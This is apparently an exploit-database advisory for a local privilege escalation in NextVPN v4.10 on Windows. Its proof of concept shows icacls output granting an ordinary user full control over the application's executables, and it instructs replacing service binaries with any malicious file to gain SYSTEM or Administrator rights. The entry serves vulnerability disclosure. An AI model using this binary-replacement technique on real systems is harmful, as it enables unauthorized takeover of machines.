Exploits / Vulnerability Discovered : 2019-12-31 |
Type : local |
Platform : windows
This exploit / vulnerability Nextvpn v4.10 insecure file permissions is for educational purposes only and if it is used you will do on your own risk!
The NextVPN Application was installed with insecure file permissions. It was found that all folder and file permissions were incorrectly configured during installation. It was possible to replace the service binary.
[ PoC ]
C:\Users\user\AppData\Local\NextVPN>icacls *.exe
Helper64.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-5V14SL6\user:(F)
NextVPN.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-5V14SL6\user:(F)
Proxifier.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-5V14SL6\user:(F)
ProxyChecker.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-5V14SL6\user:(F)
Uninstall.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-5V14SL6\user:(F)
Successfully processed 5 files; Failed processing 0 files
and other Directories :
ReplaceNextVPN.exe,update.exe,st.exe,openconnect.exe,Helper64.exe and other ... with any executable
malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)